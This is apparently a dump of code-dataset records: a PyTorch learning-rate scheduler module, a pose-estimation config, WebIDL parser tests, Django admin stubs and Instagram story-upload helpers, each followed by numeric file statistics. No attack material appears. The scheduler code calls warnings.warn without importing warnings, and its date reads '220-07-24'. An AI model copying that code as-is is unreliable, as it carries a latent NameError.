#!/usr/bin/env python # -*- coding: utf-8 -*- # @Date : 220-07-24 18:29:48 # @Author : Zhi Liu (zhiliu.mind@gmail.com) # @Link : http://iridescent.ink # @Version : $1.0$ import math import torch as th class DoubleGaussianKernelLR(th.optim.lr_scheduler._LRScheduler): r"""DoubleGaussianKernelLR Set the learning rate of each parameter group using a double gaussian kernel schedule .. image:: ./_static/GaussianLREquation.png :scale: 50 % :align: center where :math:`\eta_{max}` is set to the initial lr and :math:`T_{cur}` is the number of epochs since the last restart in SGDR: When last_epoch=-1, sets initial lr as lr. Notice that because the schedule is defined recursively, the learning rate can be simultaneously modified outside this scheduler by other operators. The maximum learning rate are the base learning rate setted in Optimizer. Parameters ---------- optimizer : Optimizer Wrapped optimizer. t_eta_max : int Iterations when the learning rate reach to the maximum value :math:`\eta_{\max}`. sigma1 : int Controls the shape of warming up phase. sigma2 : int Controls the shape of annealing phase. eta_start : float Starting learning rate. Default: 0. eta_stop : float Stopping learning rate. Default: 0. last_epoch : int The index of last epoch. Default: -1. Examples --------- .. image:: ./_static/DoubleGaussianKernelLR.png :scale: 50 % :align: center The results shown in the above figure can be obtained by the following codes. :: import torch as th import torchlib as tl import matplotlib; matplotlib.use('TkAgg') import matplotlib.pyplot as plt lr = 1e-1 lr = 1e-2 # lr = 1e2 num_epochs = 1000 num_epochs = 500 batch_size = 8 num_batch = 750 params = {th.nn.parameter.Parameter(th.zeros(128), requires_grad=True), th.nn.parameter.Parameter(th.zeros(128), requires_grad=True), } optimizer = th.optim.Adam(params, lr=lr) # optimizer = th.optim.SGD(params, lr=lr, momentum=0.9) scheduler = tl.optim.lr_scheduler.DoubleGaussianKernelLR(optimizer, t_eta_max=50, sigma1=15, sigma2=100, eta_start=1e-4, eta_stop=1e-3, last_epoch=-1) print(optimizer) lrs = [] for n in range(num_epochs): for b in range(num_batch): optimizer.step() # lrs.append(optimizer.param_groups[0]['lr']) scheduler.step() lrs.append(optimizer.param_groups[0]['lr']) plt.figure() plt.plot(lrs) plt.xlabel('Iteration') plt.ylabel('Learning rate') plt.grid() plt.show() """ def __init__(self, optimizer, t_eta_max, sigma1, sigma2, eta_start=1e-6, eta_stop=1e-5, last_epoch=-1): self.sigma1 = sigma1 self.sigma2 = sigma2 self.t_eta_max = t_eta_max self.eta_start = eta_start self.eta_stop = eta_stop # self.eta_max = eta_max # base lr super(DoubleGaussianKernelLR, self).__init__(optimizer, last_epoch) def get_lr(self): if not self._get_lr_called_within_step: warnings.warn("To get the last learning rate computed by the scheduler, " "please use `get_last_lr()`.", UserWarning) if self.last_epoch == 0: return [self.eta_start for base_lr in self.base_lrs] elif self.last_epoch < self.t_eta_max: return [group['lr'] + (base_lr - self.eta_start) * (math.exp(-(self.last_epoch + 1 - self.t_eta_max)**2 / 2. / (self.sigma1**2)) - math.exp(-(self.last_epoch - self.t_eta_max)**2 / 2. / (self.sigma1**2))) for base_lr, group in zip(self.base_lrs, self.optimizer.param_groups)] return [group['lr'] + (base_lr - self.eta_stop) * (math.exp(-(self.last_epoch + 1 - self.t_eta_max)**2 / 2. / (self.sigma2**2)) - math.exp(-(self.last_epoch - self.t_eta_max)**2 / 2. / (self.sigma2**2))) for base_lr, group in zip(self.base_lrs, self.optimizer.param_groups)] def _get_closed_form_lr(self): if self.last_epoch < self.t_eta_max: return [(base_lr - self.eta_start) * math.exp(-(self.last_epoch - self.t_eta_max)**2 / 2. / (self.sigma1**2)) + self.eta_start for base_lr in self.base_lrs] else: return [(base_lr - self.eta_stop) * math.exp(-(self.last_epoch - self.t_eta_max)**2 / 2. / (self.sigma2**2)) + self.eta_stop for base_lr in self.base_lrs] class MountainLR(th.optim.lr_scheduler._LRScheduler): r"""MountainLR Set the learning rate of each parameter group using a double gaussian kernel .. math:: (|x-P| / N) .* (-2 + cos(2 * (x-P) / T)) schedule, where :math:`\eta_{max}` is set to the initial lr and :math:`T_{cur}` is the number of epochs since the last restart in SGDR: When last_epoch=-1, sets initial lr as lr. Notice that because the schedule is defined recursively, the learning rate can be simultaneously modified outside this scheduler by other operators. The maximum learning rate are the base learning rate setted in Optimizer. Parameters ---------- optimizer : Optimizer Wrapped optimizer. t_eta_max : int Iterations when the learning rate reach to the maximum value :math:`\eta_{\max}`. sigma1 : int Controls the shape of warming up phase. sigma2 : int Controls the shape of annealing phase. eta_start : float Starting learning rate. Default: 0. eta_stop : float Stopping learning rate. Default: 0. last_epoch : int The index of last epoch. Default: -1. Examples --------- .. image:: ./_static/MountainLR.png :scale: 50 % :align: center The results shown in the above figure can be obtained by the following codes. :: import torch as th import torchlib as tl import matplotlib; matplotlib.use('TkAgg') import matplotlib.pyplot as plt lr = 1e-1 lr = 1e-2 # lr = 1e2 num_epochs = 1000 num_epochs = 500 batch_size = 8 num_batch = 750 params = {th.nn.parameter.Parameter(th.zeros(128), requires_grad=True), th.nn.parameter.Parameter(th.zeros(128), requires_grad=True), } optimizer = th.optim.Adam(params, lr=lr) scheduler = tl.optim.lr_scheduler.MountainLR(optimizer, total_epoch=num_epochs, peak_epoch=300, period_epoch=50, last_epoch=-1) print(optimizer) lrs = [] for n in range(num_epochs): for b in range(num_batch): optimizer.step() # lrs.append(optimizer.param_groups[0]['lr']) scheduler.step() lrs.append(optimizer.param_groups[0]['lr']) plt.figure() plt.plot(lrs) plt.xlabel('Iteration') plt.ylabel('Learning rate') plt.grid() plt.show() """ def __init__(self, optimizer, total_epoch, peak_epoch, period_epoch, last_epoch=-1): self.total_epoch = total_epoch self.peak_epoch = peak_epoch self.period_epoch = period_epoch super(MountainLR, self).__init__(optimizer, last_epoch) def get_lr(self): if not self._get_lr_called_within_step: warnings.warn("To get the last learning rate computed by the scheduler, " "please use `get_last_lr()`.", UserWarning) if self.last_epoch == 0: lr = 10.**((self.peak_epoch * 1. / self.total_epoch) * (-2. + math.cos(2 * math.pi * (-self.peak_epoch) / self.period_epoch))) return [base_lr * lr for base_lr in self.base_lrs] lr = 10.**((abs(self.last_epoch + 1 - self.peak_epoch) * 1. / self.total_epoch) * (-2. + math.cos(2 * math.pi * (self.last_epoch + 1 - self.peak_epoch) / self.period_epoch))) - 10.**((abs(self.last_epoch - self.peak_epoch) * 1. / self.total_epoch) * (-2. + math.cos(2 * math.pi * (self.last_epoch - self.peak_epoch) / self.period_epoch))) return [group['lr'] + base_lr * lr for base_lr, group in zip(self.base_lrs, self.optimizer.param_groups)] def _get_closed_form_lr(self): lr = 10.**((abs(self.last_epoch - self.peak_epoch) * 1. / self.total_epoch) * (-2. + math.cos(2 * math.pi * (self.last_epoch - self.peak_epoch) / self.period_epoch))) return [base_lr * lr for base_lr in self.base_lrs] if __name__ == '__main__': import torch as th import torchlib as tl import matplotlib; matplotlib.use('TkAgg') import matplotlib.pyplot as plt lr = 1e-1 lr = 1e-2 # lr = 1e2 num_epochs = 1000 num_epochs = 500 batch_size = 8 num_batch = 750 params = {th.nn.parameter.Parameter(th.zeros(128), requires_grad=True), th.nn.parameter.Parameter(th.zeros(128), requires_grad=True), } optimizer = th.optim.Adam(params, lr=lr) # optimizer = th.optim.SGD(params, lr=lr, momentum=0.9) # scheduler = tl.optim.lr_scheduler.DoubleGaussianKernelLR(optimizer, t_eta_max=80, sigma1=15, sigma2=200, eta_start=1e-4, eta_stop=1e-5, last_epoch=-1) # scheduler = tl.optim.lr_scheduler.DoubleGaussianKernelLR(optimizer, t_eta_max=50, sigma1=15, sigma2=100, eta_start=1e-4, eta_stop=1e-3, last_epoch=-1) scheduler = tl.optim.lr_scheduler.MountainLR(optimizer, total_epoch=num_epochs, peak_epoch=300, period_epoch=50, last_epoch=-1) print(optimizer) lrs = [] for n in range(num_epochs): for b in range(num_batch): optimizer.step() # lrs.append(optimizer.param_groups[0]['lr']) scheduler.step() lrs.append(optimizer.param_groups[0]['lr']) plt.figure() plt.plot(lrs) plt.xlabel('Iteration') plt.ylabel('Learning rate') plt.grid() plt.show()
34.85567
346
0.617766
1,403
10,143
4.294369
0.15253
0.046307
0.018589
0.028216
0.899917
0.886971
0.871701
0.853278
0.84166
0.839668
0
0.030978
0.264813
10,143
290
347
34.975862
0.776988
0.502514
0
0.296296
0
0
0.046858
0
0
0
0
0
0
1
0.074074
false
0
0.074074
0
0.271605
0.012346
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
521ae0acd024787a445242ec2ae29ff228e23acf
351
py
Python
configs/deepim/ycbvPbrSO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_ycbvPbr_SO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_Pbr_04_05TomatoSoupCan.py
THU-DA-6D-Pose-Group/self6dpp
c267cfa55e440e212136a5e9940598720fa21d16
[ "Apache-2.0" ]
33
2021-12-15T07:11:47.000Z
2022-03-29T08:58:32.000Z
configs/deepim/ycbvPbrSO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_ycbvPbr_SO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_Pbr_04_05TomatoSoupCan.py
THU-DA-6D-Pose-Group/self6dpp
c267cfa55e440e212136a5e9940598720fa21d16
[ "Apache-2.0" ]
3
2021-12-15T11:39:54.000Z
2022-03-29T07:24:23.000Z
configs/deepim/ycbvPbrSO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_ycbvPbr_SO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_Pbr_04_05TomatoSoupCan.py
THU-DA-6D-Pose-Group/self6dpp
c267cfa55e440e212136a5e9940598720fa21d16
[ "Apache-2.0" ]
null
null
null
_base_ = "./FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_Pbr_01_02MasterChefCan.py" OUTPUT_DIR = "output/deepim/ycbvPbrSO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_ycbvPbr_SO/04_05TomatoSoupCan" DATASETS = dict(TRAIN=("ycbv_005_tomato_soup_can_train_pbr",))
87.75
158
0.905983
46
351
6.195652
0.695652
0.077193
0.182456
0.259649
0.554386
0.554386
0.554386
0.554386
0.554386
0.554386
0
0.090643
0.025641
351
3
159
117
0.74269
0
0
0
0
0
0.837607
0.837607
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
521ce1e075f098aac5ed137919da57d152d149df
171
py
Python
pyhaystack/client/__init__.py
lixs74/pyhaystack
e5ce87f25fd42fdc3bbeab98a1ea1c673e88cdcb
[ "Apache-2.0" ]
1
2018-03-04T05:26:46.000Z
2018-03-04T05:26:46.000Z
pyhaystack/client/__init__.py
lixs74/pyhaystack
e5ce87f25fd42fdc3bbeab98a1ea1c673e88cdcb
[ "Apache-2.0" ]
null
null
null
pyhaystack/client/__init__.py
lixs74/pyhaystack
e5ce87f25fd42fdc3bbeab98a1ea1c673e88cdcb
[ "Apache-2.0" ]
null
null
null
#!python # -*- coding: utf-8 -*- """ Haystack Client interface """ from .loader import get_implementation, get_instance __all__ = ['get_implementation', 'get_instance']
17.1
52
0.71345
19
171
6
0.736842
0.298246
0.350877
0.491228
0
0
0
0
0
0
0
0.006711
0.128655
171
9
53
19
0.758389
0.321637
0
0
0
0
0.280374
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
6
522e697b2f27f16f7ef96a1dbd5157e063eac044
112
py
Python
act_func.py
MilesWQ/MachineLearning
9ab84607c502681f9c7765a526b7b8d3ad6c8791
[ "MIT" ]
null
null
null
act_func.py
MilesWQ/MachineLearning
9ab84607c502681f9c7765a526b7b8d3ad6c8791
[ "MIT" ]
null
null
null
act_func.py
MilesWQ/MachineLearning
9ab84607c502681f9c7765a526b7b8d3ad6c8791
[ "MIT" ]
null
null
null
import numpy as np def sigmod(z): return 1 / (1 + np.exp(-z)) def relu(z): return 0 if z < 0 else z
11.2
31
0.5625
23
112
2.73913
0.608696
0.222222
0
0
0
0
0
0
0
0
0
0.051282
0.303571
112
9
32
12.444444
0.75641
0
0
0
0
0
0
0
0
0
0
0
0
1
0.4
false
0
0.2
0.4
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
870c3cccc1123f40c57607f1d4e9401d1fb8a1ad
27
py
Python
src/euler_python_package/euler_python/medium/p350.py
wilsonify/euler
5214b776175e6d76a7c6d8915d0e062d189d9b79
[ "MIT" ]
null
null
null
src/euler_python_package/euler_python/medium/p350.py
wilsonify/euler
5214b776175e6d76a7c6d8915d0e062d189d9b79
[ "MIT" ]
null
null
null
src/euler_python_package/euler_python/medium/p350.py
wilsonify/euler
5214b776175e6d76a7c6d8915d0e062d189d9b79
[ "MIT" ]
null
null
null
def problem350(): pass
9
17
0.62963
3
27
5.666667
1
0
0
0
0
0
0
0
0
0
0
0.15
0.259259
27
2
18
13.5
0.7
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
true
0.5
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
0
0
0
0
0
6
87264360d249a10e5b0c164d1a12843eea4a2b12
47
py
Python
oscar_webstore_root/forked_apps/partner/admin.py
OWStimpson/oscar-webstore
52411219fa5ef51e6e7fe93078049a85ab84f674
[ "BSD-3-Clause" ]
34
2016-03-09T17:53:04.000Z
2021-01-17T05:24:58.000Z
oscar_webstore_root/forked_apps/partner/admin.py
OWStimpson/oscar-webstore
52411219fa5ef51e6e7fe93078049a85ab84f674
[ "BSD-3-Clause" ]
16
2018-05-04T13:00:07.000Z
2021-05-27T14:54:09.000Z
oscar_webstore_root/forked_apps/partner/admin.py
OWStimpson/oscar-webstore
52411219fa5ef51e6e7fe93078049a85ab84f674
[ "BSD-3-Clause" ]
16
2016-04-26T06:43:30.000Z
2020-07-07T00:17:54.000Z
from oscar.apps.partner.admin import * # noqa
23.5
46
0.744681
7
47
5
1
0
0
0
0
0
0
0
0
0
0
0
0.148936
47
1
47
47
0.875
0.085106
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
873b31cf544dbc4598e5843da6edd858bb19b4a8
179
py
Python
otter/service/__init__.py
pra-deo/otter-grader
a55d6bb4da6d103bea8d0b34a71e104244aa189d
[ "BSD-3-Clause" ]
null
null
null
otter/service/__init__.py
pra-deo/otter-grader
a55d6bb4da6d103bea8d0b34a71e104244aa189d
[ "BSD-3-Clause" ]
null
null
null
otter/service/__init__.py
pra-deo/otter-grader
a55d6bb4da6d103bea8d0b34a71e104244aa189d
[ "BSD-3-Clause" ]
null
null
null
""" Otter Service command-line utility. Provides support for managing a grading VM on a 3rd part cloud provider. """ from . import build from . import create from . import start
19.888889
98
0.75419
27
179
5
0.814815
0.222222
0
0
0
0
0
0
0
0
0
0.006803
0.178771
179
8
99
22.375
0.911565
0.603352
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
87580e6a36548d00413122166e9e42485b219326
337
py
Python
src/volsim/lr_policies.py
tum-pbs/VOLSIM
795a31c813bf072eb88289126d7abd9fba8b0e54
[ "MIT" ]
7
2022-01-28T09:40:15.000Z
2022-03-07T01:52:00.000Z
src/volsim/lr_policies.py
tum-pbs/VOLSIM
795a31c813bf072eb88289126d7abd9fba8b0e54
[ "MIT" ]
null
null
null
src/volsim/lr_policies.py
tum-pbs/VOLSIM
795a31c813bf072eb88289126d7abd9fba8b0e54
[ "MIT" ]
1
2022-03-14T22:08:47.000Z
2022-03-14T22:08:47.000Z
class LrDecayPolicy(object): def __init__(self, lrDecayFactor, lrDecayTimes, maxEpoch): self.lrDecayFactor = lrDecayFactor self.lrDecayTimes = lrDecayTimes self.maxEpoch = maxEpoch def __call__(self, epoch): return self.lrDecayFactor ** (epoch * (self.lrDecayTimes/(self.maxEpoch + 0.0000001)) )
37.444444
95
0.694362
32
337
7.0625
0.4375
0.225664
0.212389
0
0
0
0
0
0
0
0
0.029851
0.204748
337
9
95
37.444444
0.813433
0
0
0
0
0
0
0
0
0
0
0
0
1
0.285714
false
0
0
0.142857
0.571429
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
87608e8e1f3c0515fe7ff3545a7f0f6cf77c7888
134
py
Python
dummy/admin.py
healthdesk-hackathon/backend
93c43ff1aeff493a6b4d0034807f0434507ab05d
[ "MIT" ]
null
null
null
dummy/admin.py
healthdesk-hackathon/backend
93c43ff1aeff493a6b4d0034807f0434507ab05d
[ "MIT" ]
32
2020-03-27T23:50:02.000Z
2021-09-08T01:54:55.000Z
dummy/admin.py
healthdesk-hackathon/backend
93c43ff1aeff493a6b4d0034807f0434507ab05d
[ "MIT" ]
null
null
null
from django.contrib import admin from dummy.models import Dummy @admin.register(Dummy) class DummyAdmin(admin.ModelAdmin): pass
16.75
35
0.791045
18
134
5.888889
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.134328
134
7
36
19.142857
0.913793
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.2
0.4
0
0.6
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
6
5e4da0aac1c6b81a0364d4b4dade023345140543
20
py
Python
renderer.py
ThePaperTop/rich-text
a10c124e0ead94949f6ef67ae097b9cf37918f45
[ "MIT" ]
null
null
null
renderer.py
ThePaperTop/rich-text
a10c124e0ead94949f6ef67ae097b9cf37918f45
[ "MIT" ]
null
null
null
renderer.py
ThePaperTop/rich-text
a10c124e0ead94949f6ef67ae097b9cf37918f45
[ "MIT" ]
null
null
null
from PIL import *
5
17
0.65
3
20
4.333333
1
0
0
0
0
0
0
0
0
0
0
0
0.3
20
3
18
6.666667
0.928571
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
5e665f4d56977a12126cf2123f7aa986d0139385
46
py
Python
alphazero/utils/__init__.py
pietrobarbiero/alphazero
32cfc8ce444fe4f77c4f04aaba6ddfde24d3ffd9
[ "Apache-2.0" ]
null
null
null
alphazero/utils/__init__.py
pietrobarbiero/alphazero
32cfc8ce444fe4f77c4f04aaba6ddfde24d3ffd9
[ "Apache-2.0" ]
null
null
null
alphazero/utils/__init__.py
pietrobarbiero/alphazero
32cfc8ce444fe4f77c4f04aaba6ddfde24d3ffd9
[ "Apache-2.0" ]
null
null
null
from .utils import load_pickle, save_as_pickle
46
46
0.869565
8
46
4.625
0.875
0
0
0
0
0
0
0
0
0
0
0
0.086957
46
1
46
46
0.880952
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
5ea1743d36af676f01ee3e76c9f08c2d01abb671
6,622
py
Python
B2G/gecko/dom/bindings/parser/tests/test_special_method_signature_mismatch.py
wilebeast/FireFox-OS
43067f28711d78c429a1d6d58c77130f6899135f
[ "Apache-2.0" ]
3
2015-08-31T15:24:31.000Z
2020-04-24T20:31:29.000Z
B2G/gecko/dom/bindings/parser/tests/test_special_method_signature_mismatch.py
wilebeast/FireFox-OS
43067f28711d78c429a1d6d58c77130f6899135f
[ "Apache-2.0" ]
null
null
null
B2G/gecko/dom/bindings/parser/tests/test_special_method_signature_mismatch.py
wilebeast/FireFox-OS
43067f28711d78c429a1d6d58c77130f6899135f
[ "Apache-2.0" ]
3
2015-07-29T07:17:15.000Z
2020-11-04T06:55:37.000Z
def WebIDLTest(parser, harness): threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch1 { getter long long foo(long index); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch2 { getter void foo(unsigned long index); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch3 { getter boolean foo(unsigned long index, boolean extraArg); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch4 { getter boolean foo(unsigned long... index); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch5 { getter boolean foo(optional unsigned long index); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch6 { getter boolean foo(); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch7 { deleter long long foo(long index); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch9 { deleter boolean foo(unsigned long index, boolean extraArg); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch10 { deleter boolean foo(unsigned long... index); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch11 { deleter boolean foo(optional unsigned long index); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch12 { deleter boolean foo(); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch13 { setter long long foo(long index, long long value); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch15 { setter boolean foo(unsigned long index, boolean value, long long extraArg); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch16 { setter boolean foo(unsigned long index, boolean... value); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch17 { setter boolean foo(unsigned long index, optional boolean value); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch18 { setter boolean foo(); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch20 { creator long long foo(long index, long long value); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch22 { creator boolean foo(unsigned long index, boolean value, long long extraArg); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch23 { creator boolean foo(unsigned long index, boolean... value); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch24 { creator boolean foo(unsigned long index, optional boolean value); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.") threw = False try: parser.parse(""" interface SpecialMethodSignatureMismatch25 { creator boolean foo(); }; """) results = parser.finish() except: threw = True harness.ok(threw, "Should have thrown.")
22.447458
90
0.532014
549
6,622
6.417122
0.092896
0.059608
0.077491
0.113256
0.782856
0.782856
0.762418
0.762418
0.755038
0.755038
0
0.008132
0.36862
6,622
294
91
22.52381
0.834489
0
0
0.814655
0
0
0.513138
0.100272
0
0
0
0
0
1
0.00431
false
0
0
0
0.00431
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
5ea254cfa4c360b3f7868b4af858c47908be8a18
27
py
Python
tests/cmd/__init__.py
tuunit/cobry
8114a8d1adc50b82fa5b1fd7da36625ebe2cfac8
[ "BSD-3-Clause" ]
2
2020-06-23T06:22:10.000Z
2020-07-01T05:48:06.000Z
tests/cmd/__init__.py
tuunit/cobry
8114a8d1adc50b82fa5b1fd7da36625ebe2cfac8
[ "BSD-3-Clause" ]
1
2020-06-19T12:18:01.000Z
2020-06-19T12:18:07.000Z
tests/cmd/__init__.py
tuunit/cobry
8114a8d1adc50b82fa5b1fd7da36625ebe2cfac8
[ "BSD-3-Clause" ]
null
null
null
from .root import execute
13.5
26
0.777778
4
27
5.25
1
0
0
0
0
0
0
0
0
0
0
0
0.185185
27
1
27
27
0.954545
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
0de3bed1a73681ad436cb2fd9bf4267457847521
35
py
Python
kaggle_humpback/tasks/__init__.py
maxjeblick/kaggle-humpback
78674fc8761490fafc2db825ccbebcec89508ca2
[ "BSD-2-Clause" ]
167
2019-03-08T03:34:48.000Z
2022-03-24T06:01:17.000Z
tasks/__init__.py
zhenlan0426/kaggle-humpback
c975332a99bec9c2485fea17c831f52f9a77736f
[ "BSD-2-Clause" ]
2
2019-03-17T07:38:26.000Z
2020-08-24T11:20:46.000Z
tasks/__init__.py
zhenlan0426/kaggle-humpback
c975332a99bec9c2485fea17c831f52f9a77736f
[ "BSD-2-Clause" ]
50
2019-03-09T00:16:56.000Z
2022-03-27T11:38:48.000Z
from .task_factory import get_task
17.5
34
0.857143
6
35
4.666667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.114286
35
1
35
35
0.903226
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
21d0ae6aa58d0791f55c6d30e63f576951ba0a8f
38
py
Python
je_auto_control/wrapper/__init__.py
JE-Chen/Python_JEAutoControl
477bf9612e28e9ab6d0a8e269db2f699e50a3744
[ "MIT" ]
9
2020-10-12T06:33:36.000Z
2021-09-13T07:07:36.000Z
je_auto_control/wrapper/__init__.py
JE-Chen/Python_JEAutoControl
477bf9612e28e9ab6d0a8e269db2f699e50a3744
[ "MIT" ]
null
null
null
je_auto_control/wrapper/__init__.py
JE-Chen/Python_JEAutoControl
477bf9612e28e9ab6d0a8e269db2f699e50a3744
[ "MIT" ]
null
null
null
from je_auto_control.wrapper import *
19
37
0.842105
6
38
5
1
0
0
0
0
0
0
0
0
0
0
0
0.105263
38
1
38
38
0.882353
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
21e776bcc4cccee8d5a1065a3c117e2e676601b2
729
py
Python
helpers.py
kompaakt/instagrapi-rest
f788e2456bfdfa4f370ecb5f063a1dceed7c1ac8
[ "MIT" ]
null
null
null
helpers.py
kompaakt/instagrapi-rest
f788e2456bfdfa4f370ecb5f063a1dceed7c1ac8
[ "MIT" ]
null
null
null
helpers.py
kompaakt/instagrapi-rest
f788e2456bfdfa4f370ecb5f063a1dceed7c1ac8
[ "MIT" ]
null
null
null
import tempfile from instagrapi.story import StoryBuilder async def photo_upload_story(cl, content, caption, **kwargs): with tempfile.NamedTemporaryFile(suffix='.jpg') as fp: fp.write(content) mentions = kwargs.get('mentions') or [] video = StoryBuilder(fp.name, caption, mentions).photo(15) return cl.video_upload_to_story(video.path, caption, **kwargs) async def video_upload_story(cl, content, caption, **kwargs): with tempfile.NamedTemporaryFile(suffix='.mp4') as fp: fp.write(content) mentions = kwargs.get('mentions') or [] video = StoryBuilder(fp.name, caption, mentions).video(15) return cl.video_upload_to_story(video.path, caption, **kwargs)
36.45
70
0.695473
91
729
5.461538
0.340659
0.104628
0.052314
0.080483
0.812877
0.812877
0.812877
0.812877
0.812877
0.812877
0
0.008389
0.182442
729
19
71
38.368421
0.825503
0
0
0.428571
0
0
0.032922
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.285714
0
0
0
0
null
0
0
0
1
1
1
